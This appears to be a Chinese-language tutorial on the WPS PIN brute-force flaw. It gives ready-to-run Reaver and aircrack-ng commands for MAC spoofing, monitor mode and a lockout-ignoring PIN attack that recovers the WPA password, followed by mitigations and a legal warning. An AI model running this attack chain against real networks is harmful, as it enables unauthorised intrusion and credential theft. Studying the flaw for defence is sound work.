Wi-Fi Protected Setup (WPS) 設計缺陷：8 位 PIN 碼分前 4 位、後 3 位（第 8 位校驗碼）分別驗證，搜索空間從 10^7 降至 11,000，平均 2-4 小時暴力破解。Stefan Viehbock 2011 年披露，多款路由器（含熱銷 TP-Link）中招。本文復現 Ubuntu 12.04 + Reaver + 兼容網卡完整攻擊鏈，以儆效尤。
漏洞原理：PIN 碼驗證邏輯缺陷
- 註冊器 發送 M1-M8 交換，驗證 PIN 碼。
- 前 4 位錯誤 → 立即回應 NACK，不檢查後 4 位。
- 前 4 位正確 → 進入第二階段驗證後 3 位（第 8 位校驗碼由前 7 位算出）。
- 總嘗試次數：10,000 (前4位) + 1,000 (後3位) = **11,000**，遠低於 10,000,000。
- 部分路由器有鎖定機制（連續失敗鎖定 60 秒/永久），但鎖定閾值/時間常可繞過或等待解鎖，平均仍 <24h 破解。
實戰環境準備
- 攻擊機：Ubuntu 12.04 LTS（或更新版 Kali/Parrot）。
- 無線網卡：支持監聽模式/注入，芯片組關鍵：Atheros AR9271/AR9287、Ralink RT3070/RT3572、Realtek RTL8812AU/RTL8814AU。`iwconfig` 確認接口名（如 `wlan1`）。
- 工具鏈： `reaver` (WPS 攻擊)、`aircrack-ng` 套件 (監聽/注入/解密)、`macchanger` (MAC 偽裝)。
攻擊全流程
- 隱藏身份： `ifconfig wlan1 down && macchanger -r wlan1 && ifconfig wlan1 up`（隨機 MAC），或指定偽造 MAC。
- 啟用監聽模式： `airmon-ng start wlan1` → 生成 `wlan1mon`。
- 掃描目標： `airodump-ng wlan1mon` 獲取目標 BSSID、通道、WPS 鎖定狀態、信號強度。
- 鎖定通道： `iwconfig wlan1mon channel <目標通道>`。
- 發動 Reaver 攻擊：
reaver -i wlan1mon -b <目標BSSID> -vv -S -N -d 5 -T 1 -t 10 -L
# -S: 使用小 Diffie-Hellman 密鑰加速
# -N: 不發送 NACK（某設備需）
# -d 5: 每次嘗試延遲 5 秒（降低鎖定風險）
# -T 1: M5/M7 超時 1 秒
# -t 10: 總超時 10 秒
# -L: 忽略鎖定狀態繼續嘗試
- 獲取憑證：成功時輸出 `WPS PIN` 與 `WPA PSK`（明文密碼）。
緩解與防護
- 徹底禁用 WPS：路由器管理界面「WPS 設置」→ 關閉 WPS 功能（PIN + 按鍵）。
- 固件更新：廠商補丁可能增加鎖定邏輯/隨機延遲/速率限制，但**禁用 WPS 為唯一根治**。
- 監控 WPS 異常嘗試：日誌分析/無線入侵檢測 (WIPS) 識別 Reaver 特徵（高頻 M4/M6 交換、小 DH 密鑰）。
- 企業級：不部署 WPS，統一 802.1X+RADIUS+憑證/用戶名密碼認證。
法律與道德警示
未經授權攻擊他人網絡構成犯罪（中國《刑法》285/286 條、美國 CFAA、歐盟 NIS 指令等）。本文僅供安全研究、授權滲透測試、防禦驗證參考。**嚴禁用於非法入侵。**
結語
WPS 為「易用性」犧牲「安全性」的典型失敗案例。協議設計缺陷導致數學空間崩塌，補丁難治本。**禁用 WPS、強制 WPA2-AES/WPA3-SAE、部署 WIPS/NAC**，是當前最佳實踐。